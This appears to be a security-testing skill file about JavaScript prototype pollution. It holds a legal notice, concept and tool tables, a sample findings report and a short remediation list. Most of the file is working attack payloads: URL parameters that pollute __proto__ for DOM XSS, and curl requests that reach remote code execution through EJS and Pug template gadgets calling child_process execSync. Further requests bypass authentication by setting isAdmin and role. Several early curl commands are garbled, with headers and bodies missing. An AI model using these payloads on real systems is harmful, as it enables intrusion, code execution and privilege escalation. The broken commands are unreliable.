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Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection.
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| name | exploiting-prototype-pollution-in-javascript |
| description | Detect and exploit JavaScript prototype pollution vulnerabilities on both client-side and server-side applications to achieve XSS, RCE, and authentication bypass through property injection. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["prototype-pollution","javascript","node-js","xss","rce","property-injection","dom-xss","server-side-pollution"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed
// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d
curl -X POST http://target.com/api/update \
-H \
-d
curl -X POST http://target.com/api/merge \
-H \
-d
curl -X POST http://target.com/api/settings \
-H \
-d
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink
// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//
// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
# EJS template engine gadget
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
# Handlebars template gadget
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
# Pug template engine gadget
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"verified": true, "emailVerified": true}}'
# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"additionalProperties": true}}'
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt
# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard
# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working
| Concept | Description |
|---|---|
| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
| proto | Accessor property that exposes the prototype of an object |
| Pollution Source | Input point that allows setting properties on Object.prototype |
| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
| Deep Merge | Recursive object merge functions that may process proto as a regular key |
| constructor.prototype | Alternative path to access and pollute the prototype object |
| Tool | Purpose |
|---|---|
| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
| ppfuzz | Automated prototype pollution fuzzer |
| Nuclei | Template-based scanner with prototype pollution templates |
| server-side-prototype-pollution | Burp Scanner check for server-side detection |
| ESLint security plugin | Static analysis for prototype pollution patterns in code |
## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget
### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)